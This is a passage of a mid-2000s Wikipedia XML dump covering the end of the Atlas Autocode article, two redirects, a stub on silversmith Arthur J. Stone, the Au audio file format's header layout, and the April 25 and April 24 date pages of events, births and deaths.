Atlas Autocode's second-greatest claim to fame (after being the progenitor of Imp and EMAS) was that it was the original &quot;[[Compiler-compiler|Compiler Compiler]]&quot; of which &quot;[[Yacc]]&quot; was a later derivative.  A variant of the AA compiler included run-time support for a top-down recursive descent parser.  The style of parser used in the Compiler Compiler was in use continuously at Edinburgh from the 60's until almost the turn of the millennium.

Other [[Autocode]]s were developed for the [[Titan (computer)]] (a prototype Atlas 2) at Cambridge and the [[Ferranti]] Mercury.

[[Category:Historical programming languages]]</text>
    </revision>
  </page>
  <page>
    <title>ANZUS Treaty</title>
    <id>2727</id>
    <revision>
      <id>15901121</id>
      <timestamp>2002-10-09T16:40:08Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[ANZUS]]</comment>
      <text xml:space="preserve">#REDIRECT [[ANZUS]]</text>
    </revision>
  </page>
  <page>
    <title>Aberfan disaster</title>
    <id>2728</id>
    <revision>
      <id>15901122</id>
      <timestamp>2005-04-10T03:26:43Z</timestamp>
      <contributor>
        <username>Hajor</username>
        <id>23076</id>
      </contributor>
      <comment>merge &amp; redirect - [[Aberfan]]</comment>
      <text xml:space="preserve">#redirect [[Aberfan]]</text>
    </revision>
  </page>
  <page>
    <title>Arthur J. Stone</title>
    <id>2729</id>
    <revision>
      <id>29631890</id>
      <timestamp>2005-11-29T22:22:16Z</timestamp>
      <contributor>
        <username>Caerwine</username>
        <id>347371</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Arthur J. Stone''' ([[1847]]-[[1938]]) a leading American silversmith, was trained and worked in [[Sheffield]], [[England]], and [[Edinburgh]], [[Scotland]], before coming to the United States in [[1884]]. He was one of the last silversmiths in America to train apprentices to carry out designs in hand-wrought silver. In 1901, Stone set up a workshop in [[Gardner]], [[Massachusetts]] which operated under his name until its sale in [[1937]] to Henry Heywood. Heywood was a Gardner businessman, who renamed it The Stone Silver Shop, and later, Stone Associates. Heywood died in [[1945]]. His sons Henry, Jr. and Jerome ran Stone Associates until [[1957]].

For more information on Stone and his work, see &quot;Arthur J. Stone 1847-1938: Designer and Silversmith&quot; by Elenita C. Chickering, 1994, Boston Athenaeum   

==External links==
*[http://artarchives.si.edu/exhibits/craft/craftpage1.htm Samples of his work] 
*[http://artarchives.si.edu/exhibits/craft/craftpage1a.htm Samples of his work]

{{US-bio-stub}}
{{artist-stub}}

[[Category:1847 births|Stone, Arthur J.]]
[[Category:1938 deaths|Stone, Arthur J.]]</text>
    </revision>
  </page>
  <page>
    <title>Au file format</title>
    <id>2732</id>
    <revision>
      <id>40099885</id>
      <timestamp>2006-02-18T03:13:47Z</timestamp>
      <contributor>
        <ip>70.92.11.147</ip>
      </contributor>
      <text xml:space="preserve">The '''Au file format''' is a simple [[audio file format]] that consists of a header of 6 32-[[bit]] words and then the data. The format was introduced by [[Sun Microsystems]].
{| valign=&quot;top&quot; cellspacing=2 border=1 cellpadding=3
|- bgcolor=&quot;#ffffcc&quot;
! 32 bit word
! field
! Description/Content [[Hexadecimal]] numbers in [[C programming language|C]] notation
|-
| 0
| [[Magic number (programming)|magic number]]
| the value 0x2e736e64 (four ASCII characters &quot;.snd&quot;)
|-
| 1 || data offset
| the offset to the data in [[byte | bytes]]. The minimum valid number is 24 (decimal).
|-
| 2 || data size
| data size in bytes. If unknown, the value 0xffffffff should be used.
|-
| 3 || encoding || Data encoding format:
1=8-bit ISDN [[mu-law algorithm|u-law]], 2=8-bit linear [[Pulse code modulation|PCM]] [REF-PCM], 3=16-bit linear PCM,
4=24-bit linear PCM, 5=32-bit linear PCM, 6=32-bit IEEE floating point,
7=64-bit IEEE floating point,
23=8-bit ISDN u-law compressed using the UIT-T G.721 [[ADPCM]] voice data encoding scheme.
|-
| 4 || sample rate
| the number of samples/second (e.g., 8000)
|-
| 5 || channels
| the number of interleaved channels (e.g., 1 for mono, 2 for stereo)
|}


The type of encoding depends on the value of the 'encoding' field (word 3 of the header). Formats 2-7 are uncompressed [[PCM]], therefore [[lossless]].  Formats 23-36 are ADPCM, which is a lossy, roughly 4:1 compression.  Formats 1 and 27 are [[mu-law|&amp;#956;-law]] and [[A-law]], respectively, both lossy.  Several of the others are [[digital signal processing|DSP]] commands or data, designed to be processed by the [[NeXT]] [[MusicKit]] software.

[http://www.opengroup.org/public/pubs/external/auformat.html Sun .au sound file format]

[http://astronomy.swin.edu.au/~pbourke/dataformats/au/ Demo .au output function]

[[Category:Computer file formats]]

[[de:Au (Dateiformat)]]</text>
    </revision>
  </page>
  <page>
    <title>April 25</title>
    <id>2733</id>
    <revision>
      <id>41287748</id>
      <timestamp>2006-02-26T08:10:51Z</timestamp>
      <contributor>
        <username>TFNorman</username>
        <id>851465</id>
      </contributor>
      <comment>/* Births */</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=25}}
|}
'''[[April 25]]''' is the 115th day of the year in the [[Gregorian Calendar]] (116th in [[leap year]]s). There are 250 days remaining.
==Events==
*[[1607]] - [[Eighty Years' War]]: [[Netherlands|Dutch]] fleet destroys the anchored [[Spain|Spanish]] fleet at [[Gibraltar]].
*[[1707]] - An Allied [[Austria]]n army is defeated by [[House of Bourbon|Bourbon]] army at [[Battle of Almansa|Almansa]] ([[Spain]]) in the [[War of the Spanish Succession]].
*[[1719]] - ''[[Robinson Crusoe]]'' by [[Daniel Defoe]] is published.
*[[1792]] -  [[Highwayman]] [[Nicolas J. Pelletier]] becomes the first person executed by [[guillotine]]. 
*1792 - &quot;[[La Marseillaise]]&quot; ([[France|French]] [[national anthem]]) is composed by [[Claude Joseph Rouget de Lisle]].
*[[1846]] - [[Thornton Affair]]: Open conflict begins over the disputed border of [[Texas]], triggering the [[Mexican-American War]].
*[[1847]] - The last survivors of the are out of the wilderness.  See [[Donner Party]] for basic story and commentary on cannibalism; see [[Donner Party timeline]] for detailed chronology.
*[[1849]] - The [[Governor General of Canada]], [[Lord Elgin]], signs the [[Rebellion Losses Bill]], outraging [[Montreal]]'s [[English-Canadian|English]] population and triggering the [[Montreal Riots]].
*[[1859]] - Ground is broken for the [[Suez Canal]].
*[[1862]] - [[American Civil War]]: Forces under [[United States|Union]] Admiral [[David Farragut]] capture the [[Confederate States of America|Confederate]] city of [[New Orleans, Louisiana]]. 
*[[1864]] - American Civil War: [[Battle of Mark's Mills]] &amp;ndash; [[Confederate States of America|Confederate]] forces seize a [[United States|Union]] wagon supply train on its way to [[Camden, Arkansas]] forcing Union General [[Frederick Steele]] to withdraw his troops to [[Little Rock, Arkansas]].
*[[1881]] - [[Caulfield Grammar School]] is founded in [[Melbourne]], [[Australia]]. 
*[[1898]] - [[Spanish-American War]]: The [[United States]] declares war on [[Spain]].
*[[1901]] - [[New York]] becomes the first U.S. state to require [[automobile]] [[license plate]]s.
*[[1915]] - The [[ANZAC]] tradition begins during [[World War I]] with a landing at [[Gallipoli]] on the [[Turkey|Turkish]] coast.
*[[1916]] - [[Easter Rebellion]]: The [[United Kingdom]] declares [[martial law]] in [[Ireland]].
*1916 - [[ANZAC Day]] commemorated for the first time.
*[[1926]] - Reza Khan is crowned [[Shah of Iran]] under the name [[Reza Pahlavi]]. 
*[[1938]] - [[U.S. Supreme Court]] delivers opinion in ''[[Erie Railroad Co. v. Tompkins]]'' and overturns a century of federal common law. 
*[[1940]] - The Faroese flag [[Merkið]] is made the official flag for the [[Faroe Islands]].
*[[1943]] - The [[Demyansk Shield]] for German troops in commemoration of [[Demyansk Pocket]] was instituted.
*[[1944]] - The [[United Negro College Fund]] is incorporated.
*[[1945]] - [[Elbe Day]]: [[United States]] and [[Russia]]n troops meet in [[Torgau]] along the River [[Elbe]], cutting the ''[[Wehrmacht]]'' of [[Nazi Germany]] in two, a milestone in the approaching [[end of World War II in Europe]].
*1945 - Fifty nations gather in [[San Francisco]], [[California]] to begin the [[United Nations]] Conference on International Organizations.
*[[1953]] - [[Francis Crick]] and [[James D. Watson]] publish ''Molecular structure of nucleic acids: a structure for deoxyribose nucleic acid'' describing the [[double helix]] structure of [[DNA]].
*[[1959]] - The  [[St. Lawrence Seaway]], linking the North American [[Great Lakes (North America)|Great Lakes]] and the [[Atlantic Ocean]], officially opens to [[shipping]]. 
&lt;!-- drop the AIDS patient zero item because the original 1990 report was updated in 1995 to
     point out that the virus detected in the patient's tissue from 1959 was a strain from
     1990.  The whole thing seems too tentative to include.
*1959   - David Carr, a 25-year-old Briton, enters [[Royal Manchester Infirmary]] in England.  His death later that year was in 1990 attributed to [[AIDS]] by a director at the infirmary, [[Gerald Corbitt]]; a 1995 by Corbitt cowrote an update noting that the virus was from 1990.
--&gt;
*[[1961]] - [[Robert Noyce]] is granted a [[patent]] for an [[integrated circuit]]. 
*[[1972]] - [[Vietnam War]]: [[Nguyen Hue Offensive]] &amp;ndash; The [[North Vietnam]]ese  320th Division forces 5,000 [[South Vietnam]]ese troops to retreat and traps about 2,500 others northwest of [[Kontum]]. 
*[[1974]] - [[Carnation Revolution]]: A [[coup]] in [[Portugal]] restores [[democracy]].
*[[1975]] - As [[North Vietnamese Army|North Vietnamese]] forces close in on the [[South Vietnam]]ese capital [[Saigon]], the [[Australia]]n Embassy is closed and evacuated, almost ten years to the day since the first Australian troop commitment to South Vietnam.
*[[1981]] - More than 100 workers are exposed to radiation during repairs of a [[nuclear power plant]] in [[Tsuruga, Fukui|Tsuruga]], [[Japan]].
*[[1982]] - [[Israel]] completes its withdrawal from the [[Sinai peninsula]] per the [[Camp David Accords]]. 
*[[1983]] - [[United States|American]] schoolgirl [[Samantha Smith]] is invited to visit the [[Soviet Union]] by its leader [[Yuri Andropov]] after he read her letter in which she expressed fears about [[nuclear war]]. 
*1983   - [[Pioneer 10]] travels beyond [[Pluto (planet)|Pluto]]'s [[orbit]].
*[[1988]] - In [[Israel]], [[John Demjanuk]] is sentenced to death for [[war crime]]s committed in [[World War II]]. He was accused of being a notorious guard at the  [[Treblinka extermination camp]] known as &quot;Ivan the Terrible&quot; by survivors. 
*[[1989]] - [[James Richardson]] is freed from a [[Florida]] prison 21 years after being wrongfully convicted of the murder of his seven children.
*[[1993]] - 300,000 [[homosexuality|gay, lesbian, transgender, and allied activists]] march on [[Washington, DC]] demanding freedom from [[discrimination]].
*[[2005]] - The final piece of the [[Obelisk of Axum]] is returned to [[Ethiopia]] after being stolen by the invading [[Italy|Italian]] army in [[1937]].
*  2005   - [[Bulgaria]] and [[Romania]] sign ascession treaties gaining entrance into the [[European Union]].
* [[2005]] - 107 die in [[Amagasaki rail crash]] in [[Japan]].

==Births==
*[[32]]   - Marcus Salvius [[Otho]], [[Roman Emperor]] (d. [[69]])
*[[1214]] - King [[Louis IX of France]] (d. [[1270]])
*[[1228]] - [[Conrad IV of Germany]] (d. [[1254]])
*[[1284]] - King [[Edward II of England]] (d. [[1327]])
*[[1287]] - [[Roger de Mortimer, 1st Earl of March]], de factor ruler of England (d. [[1330]])
*[[1502]] - [[Georg Major]], German protestant theologian (d. [[1574]])
*[[1545]] - [[Yi Sun Shin]], Korean admiral (d. [[1598]])
*[[1599]] - [[Oliver Cromwell]], English statesman (d. [[1658]])
*[[1608]] - [[Gaston, Duke of Orléans]], French politician (d. [[1660]])
*[[1621]] - [[Roger Boyle, 1st Earl of Orrery]], British soldier, statesman, and dramatist (d. [[1679]])
*[[1694]] - [[Richard Boyle, 3rd Earl of Burlington]], English architect (d. [[1753]])
*[[1710]] - [[James Ferguson (1710-1776)|James Ferguson]], Scottish astronomer (d. [[1776]])
*[[1725]] - [[Augustus Keppel, 1st Viscount Keppel]], British admiral (d. [[1786]])
*[[1767]] - [[Nicolas Oudinot]], French marshal (d. [[1847]])
*[[1770]] - [[Georg Sverdrup]], Norwegian philologist (d. [[1850]])
*[[1849]] - [[Felix Klein]], German mathematician (d. [[1925]])
*[[1874]] - [[Guglielmo Marconi]], Italian inventor, recipient of the [[Nobel Prize in Physics]] (d. [[1937]])
*[[1900]] - [[Wolfgang Ernst Pauli]], Austrian-born physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1958]])
*[[1902]] - [[Werner Heyde]], German psychiatrist (d. [[1964]])
*[[1903]] - [[Andrey Nikolayevich Kolmogorov]], Russian mathematician (d. [[1987]])
*[[1906]] - [[William J. Brennan]], U.S. Supreme Court Justice (d. [[1997]])
*[[1908]] - [[Edward R. Murrow]], American journalist (d. [[1965]])
*[[1909]] - [[William Pereira]], American architect (d. [[1985]])
*[[1911]] - [[Jack Ruby]], American assassin (d. [[1967]])
*[[1914]] - [[Ross Lockridge, Jr.]], American writer (d. [[1948]])
*[[1917]] - [[Ella Fitzgerald]], American singer (d. [[1996]])
*[[1918]] - [[Gerard Henri de Vaucouleurs]], French astronomer (d. [[1995]])
*[[1921]] - [[Karel Appel]], Dutch painter 
*[[1923]] - [[Albert King]], American musician
*[[1925]] - [[Sammy Drechsel]], German journalist, film director, and cabaret performer (d. [[1986]])
*  1925   - [[Kay E. Kuter]], American actor (d. [[2003]])
*[[1927]] - [[Albert Uderzo]], French cartoonist
*[[1930]] - [[Paul Mazursky]], American film director and writer
*[[1932]] - [[Meadlowlark Lemon]], American basketball player
*[[1933]] - [[Jerry Leiber]], American composer
*[[1934]] - [[Peter McParland]], Northern Irish footballer
*[[1940]] - [[Al Pacino]], American actor
*[[1945]] - [[Björn Ulvaeus]], Swedish singer and songwriter ([[ABBA]])
*[[1946]] - [[Talia Shire]], American actress
*1946 - [[Vladimir Zhirinovsky]], Russian politician
*[[1947]] - [[Johann Cruyff]], Dutch footballer
*[[1949]] - [[Vicente Pernía]], Argentine footballer
*[[1950]] - [[Steve Ferrone]], British drummer
*[[1952]] - [[Ketil Bjørnstad]], Norwegian pianist
*[[1952]] - [[Vladislav Tretiak]], Soviet Union Ice Hockey Goalie from 1972-1984
*[[1960]] - [[Bruce Redman]], Australian Film Producer
*[[1964]] - [[Hank Azaria]], American actor
*[[1964]] - [[Andy Bell (singer)|Andy Bell]], British singer and songwriter (band [[Erasure]])
*[[1965]] - [[Eric Avery]], American musician ([[Jane's Addiction]])
*[[1969]] - [[Joe Buck]], baseball and American football broadcaster
*1969   - [[Darren Woodson]], American football player
*1969   - [[Renée Zellweger]], American actress
*[[1970]] - [[Jason Lee (actor)|Jason Lee]], American actor
*[[1973]] - [[Fredrik Larzon]], Swedish drummer ([[Millencolin]])
*[[1976]] - [[Tim Duncan]], West Indian basketball player
*1976   - [[Rainer Schuettler]], German tennis player
*[[1977]] - [[Constantinos Christoforou]], Cypriot singer
*[[1989]] - [[Gedhun Choekyi Nyima]], 11th Panchen Lama
*[[1996]] - [[Allisyn Ashley Arm]], American actress

==Deaths==
*[[1185]] - [[Emperor Antoku]] of Japan (b. [[1178]])
*[[1265]] - [[Roger de Quincy, 2nd Earl of Winchester]], English Crusader
*[[1295]] - King [[Sancho IV of Castile]]
*[[1472]] - [[Leon Battista Alberti]], Italian artist, poet, and philosopher (b. [[1404]])
*[[1516]] - [[John Yonge]], English diplomat (b. [[1467]])
*[[1566]] - [[Diane de Poitiers]], mistress of King [[Henry II of France]] (b. [[1499]])
*1566 - [[Louise Labé]], French poet
*[[1595]] - [[Torquato Tasso]], Italian poet (b. [[1544]])
*[[1605]] - [[Naresuan]], King of Siam (b. [[1555]])
*[[1644]] - [[Chongzhen]], Emperor of China (b [[1611]])
*[[1660]] - [[Henry Hammond]], English churchman (b. [[1605]])
*[[1690]] - [[David Teniers the Younger]], Flemish artist (b. [[1610]])
*[[1744]] - [[Anders Celsius]], Swedish astronomer (b. [[1701]])
*[[1770]] - [[Jean-Antoine Nollet]], French abbot and physicist (b. [[1700]])
*[[1800]] - [[William Cowper]], English poet (b. [[1731]])
*[[1840]] - [[Siméon-Denis Poisson]], French mathematician (b. [[1781]])
*[[1878]] - [[Anna Sewell]], English author (b. [[1820]])
*[[1911]] - [[Emilio Salgari]], Italian novelist (b. [[1862]])
*[[1937]] - [[Michal Drzymala|Micha&amp;#322; Drzyma&amp;#322;a]], Polish rebel (b.[[1857]])
*[[1943]] - [[Vladimir Nemirovich-Danchenko]], Russian theatre director (b. [[1858]])
*[[1968]] - [[John Tewksbury]], American athlete (b. [[1876]])
*[[1972]] - [[George Sanders (actor)|George Sanders]], British actor (b. [[1906]])
*[[1980]] - [[Katia Mann]], wife of German writer [[Thomas Mann]] (b. [[1883]])
*[[1982]] - [[John Cardinal Cody]], American cardinal (b. [[1907]])
*[[1990]] - [[Dexter Gordon]], American saxophonist (b. [[1923]])
*[[1995]] - [[Art Fleming]], American game show host (b. [[1925]])
*1995 - [[Ginger Rogers]], American actress and dancer (b. [[1911]])
*[[1996]] - [[Saul Bass]], American graphics designer (b. [[1920]])
*[[1998]] - [[Morris Wright]], American writer (b. [[1910]])
*[[1999]] - [[Lord Killanin]], Irish International Olympic Committee president (b. [[1914]])
*[[2000]] - [[David Merrick]], American theatrical producer (b. [[1911]])
*[[2001]] - [[Michele Alboreto]], Italian race car driver (b. [[1956]])
*[[2002]] - [[Indra Devi]], yoga teacher (b. [[1899]])
*[[2002]] - [[Lisa &quot;Left Eye&quot; Lopes]], Rapper (b. [[1971]])
*[[2003]] - [[Samson Kitur]], Kenyan athlete (b. ([[1966]])
*[[2005]] - [[Swami Ranganathananda]], Indian monk and president of the Ramakrishna Mission (b. ([[1908]])

==Holidays and observances==
* [[ANZAC Day]] ([[Australia]], [[New Zealand]])
* ''[[Carnation Revolution]]'' commemorated in Portugal (National Holiday)
* [[Liberazione|''Festa della Liberazione'']], ([[Italy]]), annual commemoration to mark the liberation of Italy at the end of the [[World War II|Second World War]].
* [[Faroe Islands]] - National [[Flag Day]]
* [[Swaziland]] - National Flag Day
* [[Easter]] [[Sunday]] - [[1886]], [[1943]], [[2038]]. In the [[Gregorian Calendar]] 25th April is the latest date on which Easter Sunday can fall ([[22nd March]] is the earliest)
* [[Feast day]] of [[Mark the Evangelist|St Mark]]
* [[Rastafari movement]] - Celebration of [[Haile Selassie]]'s visit to [[Jamaica]]
* [[Roman Empire]] - [[Robigalia]] in honor of [[Robigus]]
* Official [[Red Hat Society]] day


==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/25 BBC: On This Day]

----

[[April 24]] - [[April 26]] - [[March 25]] - [[May 25]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[af:25 April]]
[[ar:25 إبريل]]
[[an:25 d'abril]]
[[ast:25 d'abril]]
[[bg:25 април]]
[[be:25 красавіка]]
[[bs:25. april]]
[[ca:25 d'abril]]
[[ceb:Abril 25]]
[[cv:Ака, 25]]
[[co:25 d'aprile]]
[[cs:25. duben]]
[[cy:25 Ebrill]]
[[da:25. april]]
[[de:25. April]]
[[et:25. aprill]]
[[el:25 Απριλίου]]
[[es:25 de abril]]
[[eo:25-a de aprilo]]
[[eu:Apirilaren 25]]
[[fo:25. apríl]]
[[fr:25 avril]]
[[fy:25 april]]
[[ga:25 Aibreán]]
[[gl:25 de abril]]
[[ko:4월 25일]]
[[hr:25. travnja]]
[[io:25 di aprilo]]
[[id:25 April]]
[[ia:25 de april]]
[[ie:25 april]]
[[is:25. apríl]]
[[it:25 aprile]]
[[he:25 באפריל]]
[[jv:25 April]]
[[ka:25 აპრილი]]
[[csb:25 łżëkwiôta]]
[[ku:25'ê avrêlê]]
[[la:25 Aprilis]]
[[lt:Balandžio 25]]
[[lb:25. Abrëll]]
[[li:25 april]]
[[hu:Április 25]]
[[mk:25 април]]
[[ms:25 April]]
[[nap:25 'e abbrile]]
[[nl:25 april]]
[[ja:4月25日]]
[[no:25. april]]
[[nn:25. april]]
[[oc:25 d'abril]]
[[pl:25 kwietnia]]
[[pt:25 de Abril]]
[[ro:25 aprilie]]
[[ru:25 апреля]]
[[sco:25 Aprile]]
[[sq:25 Prill]]
[[scn:25 di aprili]]
[[simple:April 25]]
[[sk:25. apríl]]
[[sl:25. april]]
[[sr:25. април]]
[[fi:25. huhtikuuta]]
[[sv:25 april]]
[[tl:Abril 25]]
[[tt:25. Äpril]]
[[te:ఏప్రిల్ 25]]
[[th:25 เมษายน]]
[[vi:25 tháng 4]]
[[tr:25 Nisan]]
[[uk:25 квітня]]
[[ur:25 اپریل]]
[[wa:25 d' avri]]
[[war:Abril 25]]
[[zh:4月25日]]
[[pam:Abril 25]]</text>
    </revision>
  </page>
  <page>
    <title>April 24</title>
    <id>2734</id>
    <revision>
      <id>42070922</id>
      <timestamp>2006-03-03T16:51:18Z</timestamp>
      <contributor>
        <username>Computerjoe</username>
        <id>145799</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/82.36.195.9|82.36.195.9]] to last version by Fadix</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=24}}
|}
'''[[April 24]]''' is the 114th day of the year in the [[Gregorian Calendar]] (115th in [[leap year]]s). There are 251 days remaining.
==Events==
*[[1184 BC]] - [[Ancient Greece|Greek]]s enter [[Troy]] using the [[Trojan Horse]] (traditional).
*[[1704]] - The first regular [[newspaper]] in the [[13 colonies|United States]], the [[Boston, Massachusetts]] ''New-Letter'', is published. 
*[[1800]] - The [[United States]] [[Library of Congress]] is established when President [[John Adams]] signs  legislation to appropriate [[USD|$]]5,000 to purchase &quot;such books as may be necessary for the use of Congress&quot;.
*[[1862]] - [[American Civil War]]: A flotilla commanded by [[United States|Union]] Admiral [[David Farragut]] passes two [[Confederate States of America|Confederate]] forts on the [[Mississippi River]] on its way to capture [[New Orleans, Louisiana]].
*[[1863]] - The [[Keyesville Massacre]]: a [[massacre]] of 53 [[Native Americans in the United States|Native American]] men from the [[Tehachapi]] tribe in [[Keyesville, California]].
*[[1898]] - [[Spanish-American War]]: [[Spain]] [[declaration of war|declares war]] on the [[United States]].
*[[1913]] - The [[skyscraper]] [[Woolworth Building]] in [[New York City]] was opened.
*[[1915]] - The Young Turk government arrested several hundred - or, according to Turkish records, over two thousand - Armenian intellectuals which marked the beginning of what is known as the [[Armenian Genocide]].
*[[1916]] - [[Easter Uprising]] begins: The [[Irish Republican Brotherhood]] led by nationalist [[Patrick Pearse]] start a rebellion in [[Ireland]]. 
*[[1940]] - [[World War II]]: [[Operation Demon]] &amp;ndash; The [[United Kingdom]] begins evacuating [[Greece]].
*[[1953]] - [[Winston Churchill]] is knighted by Queen [[Elizabeth II of the United Kingdom]].
*[[1955]] - [[Bandung Conference]] ends: Twenty-nine non-aligned nations of [[Asia]] and [[Africa]] finish a meeting that condemned [[colonialism]], [[racism]], and the [[Cold War]].
*[[1961]] - The [[17th century]] [[Sweden|Swedish]] ship [[Vasa (ship)|Vasa]] is [[salvage]]d.
*[[1963]]- Marriage of Her Royal Highness [[Princess Alexandra of Kent]] to [[Angus Ogilvy]] at [[Westminster Abbey]] in [[London]].
*[[1964]] - [[Mexico]] becomes a signatory to the [[Buenos Aires Convention|Buenos Aires]] [[copyright]] [[treaty]].
*[[1967]] - [[Astronaut|Cosmonaut]] [[Vladimir Komarov]] dies in [[Soyuz 1]].
*  1967   - [[Vietnam War]]: [[United States|American]] General [[William Westmoreland]] says in a news conference that the enemy had &quot;gained support in the United States that gives him hope that he can win politically that which he cannot win militarily.&quot;
*[[1968]] - [[Mauritius]] becomes a member state of the [[United Nations]].
*[[1970]] - The first [[People's Republic of China|Chinese]] [[satellite]], [[ Dong Fang Hong I]], is launched.
*  1970   - [[The Gambia]] becomes a [[republic]] within the [[Commonwealth of Nations]], with [[Dawda Jawara]] as the first [[Heads of State of the Gambia|President]].
*[[1975]] - The [[Baader-Meinhof Gang]] blow up the [[West Germany|West German]] embassy in [[Stockholm]].
*[[1980]] - Eight [[United States|U.S.]] servicemen died in [[Operation Eagle Claw]] as they attempted to end the [[Iran hostage crisis]].
*[[1981]] - The first [[IBM PC]] is introduced.
*[[1982]] - In [[Harrogate]], [[United Kingdom]], [[Nicole (artist)|Nicole]] wins the twenty-seventh [[Eurovision Song Contest]] for [[Germany]] singing &quot;Ein bißchen Frieden&quot; (A little bit of peace).
*[[1984]] - [[Apple Computer]] unveils its [[Apple IIc]] [[portable computer]].
*[[1990]] - [[STS-31]]: The [[Hubble Space Telescope]] is launched by the [[Space Shuttle program|Space Shuttle]] [[Space Shuttle Discovery|''Discovery'']].
*1990 - [[Gruinard Island]], [[Scotland]], is officially declared free of [[Anthrax disease|anthrax]] after 48 years of [[quarantine]].
*[[1991]] - [[Freddie Stowers]] is awarded the [[posthumous]] [[Medal of Honor]] for which he had been recommended in [[1918]].
*[[1993]] - An [[Provisional Irish Republican Army|IRA]] bomb devastates the [[Bishopsgate]] area of [[City of London]].
*[[1994]] - The world's largest [[lollipop]] weighing 3,011 pounds (1,366 kg) is made in [[Denmark]]
*[[1995]] - The last [[Chevrolet Corvette ZR-1]] rolls off the [[assembly line]].
*[[1996]] - In the [[United States]], the [[Antiterrorism and Effective Death Penalty Act of 1996]] is introduced.
*[[2004]] - [[United States|US]] lifts [[economic sanctions]] imposed on [[Libya]] 18 years previously as a reward for its cooperation in eliminating [[weapons of mass destruction]].
*[[2005]] - Cardinal Joseph Ratzinger is [[Papal Inauguration|inaugurated]] as the 265th Pope of the [[Roman Catholic Church]] taking the name [[Pope Benedict XVI]].

==Scheduled Events==
*[[2006]] - ''[[Half-Life 2: Episode One]]'', the sequel to the critically-acclaimed ''[[Half Life 2]]'', is due to be released.

==Births==
*[[1533]] - [[William I of Orange]] (d. [[1584]])
*[[1580]] - [[Vincent de Paul]], French saint (d. [[1660]])
*[[1706]] - [[Giovanni Battista Martini]], Italian musician (d. [[1780]])
*[[1718]] - [[Nathaniel Hone]], Irish-born painter (d. [[1784]])
*[[1815]] - [[Anthony Trollope]], English novelist (d. [[1882]])
*[[1845]] - [[Carl Spitteler]], Swiss writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1924]])
*[[1856]] - [[Henri Philippe Pétain]], French soldier and statesman (d. [[1951]])
*[[1876]] - [[Erich Raeder]], German naval commander (d. [[1960]])
*[[1878]] - [[Jean Crotti]], Swiss artist (d. [[1958]])
*[[1882]] - [[Hugh Dowding]], Scottish fighter pilot (d. [[1970]])
*[[1889]] - Sir [[Stafford Cripps]], British politician (d. [[1952]])
*[[1896]] - [[Benjamin Whorf]], American linguist (d. [[1941]])
*[[1897]] - [[Manuel Ávila Camacho]], [[President of Mexico]] (d. [[1955]])
*[[1899]] - [[Oscar Zariski]], Russian-born mathematician (d. [[1986]])
*[[1904]] - [[Willem de Kooning]], Dutch painter (d. [[1997]])
*[[1905]] - [[Robert Penn Warren]], American poet (d. [[1989]])
*[[1906]] - [[William Joyce]], Irish fascist (d. [[1946]])
*[[1907]] - [[William Sargant]], British psychiatrist (d. [[1988]])
*[[1914]] - [[William Castle]], American film director and producer (d. [[1977]])
*[[1916]] - [[Lou Thesz]], American professional wrestler (d. [[2002]])
*[[1922]] - [[J.D. Cannon]], American actor
*[[1924]] - Sir [[Clement Freud]], British writer, radio personality, and politician
*[[1926]] - [[Thorbjörn Fälldin]], [[Prime Minister of Sweden]]
*[[1927]] - [[Alan MacDiarmid]], New Zealand chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*[[1930]] - [[Jerome Callet]], American musician
*  1930   - [[Richard Donner]], American film director and producer
*[[1934]] - [[Shirley MacLaine]], American actress and author
*[[1936]] - [[Jill Ireland]], British actress (d. [[1990]])
*[[1937]] - [[Joe Henderson]] American jazz saxophonist
*[[1940]] - [[Sue Grafton]], American author
*[[1941]] - [[John Williams (guitarist)|John Williams]], Australian guitarist
*[[1942]] - [[Richard M. Daley]], American politician
*  1942   - [[Barbra Streisand]], American singer, actress, and director
*[[1952]] - [[Jean-Paul Gaultier]], French fashion designer
*[[1953]] - [[Eric Bogosian]], American actor and writer
*[[1954]] - [[Mumia Abu-Jamal]], American journalist, political activist, and convicted murderer
*[[1960]] - [[Paula Yates]], British television presenter (d. [[2000]])
*[[1964]] - [[Cedric the Entertainer]], American comedian and actor
*  1964   - [[Djimon Hounsou]], Benin-born actor
*[[1968]] - [[Stacy Haiduk]], American actress
*[[1972]] - [[Chipper Jones]], baseball player
*1972 - [[Jure Košir]], Slovenian skier
*[[1973]] - [[Sachin Tendulkar]], Indian cricketer
*[[1974]] - [[Joseph Bruce]], American rapper ([[Insane Clown Posse]])
*[[1975]] - [[Sam Doumit]], American actress 
*[[1976]] - [[Steve Finnan]], Irish footballer
*[[1977]] - [[Eric Balfour]], American actor
*1977 - [[Carlos Beltran]], Puerto Rican [[Major League Baseball]] player
*[[1982]] - [[Kelly Clarkson]], American singer
*1982 - [[Shayna Nackoney]], Canadian synchronized swimmer
*[[1984]] - [[Tyson Ritter]], American singer and bassist ([[All-American Rejects]])

==Deaths==
*[[624]] - [[Mellitus]], third [[Archbishop of Canterbury]]
*[[1338]] - Marquis [[Theodore I of Montferrat]] (b. [[1291]])
*[[1342]] - [[Pope Benedict XII]] (b. [[1285]])
*[[1656]] - [[Thomas Fincke]], Danish mathematician and physicist (b. [[1561]])
*[[1731]] - [[Daniel Defoe]], English writer (b. [[1660]])
*[[1736]] - [[Eugene of Savoy]], French-born Austrian general (b. [[1663]])
*[[1779]] - [[Eleazar Wheelock]], American founder of Dartmouth College (b. [[1711]])
*[[1852]] - [[Vasily Zhukovsky]], Russian poet (b. [[1783]])
*[[1891]] - [[Helmuth von Moltke the Elder]], Prussian field marshal (b. [[1800]])
*[[1924]] - [[G. Stanley Hall]], American psychologist (b. [[1844]])
*[[1938]] - [[George Grey Barnard]], American sculptor (b. [[1863]])
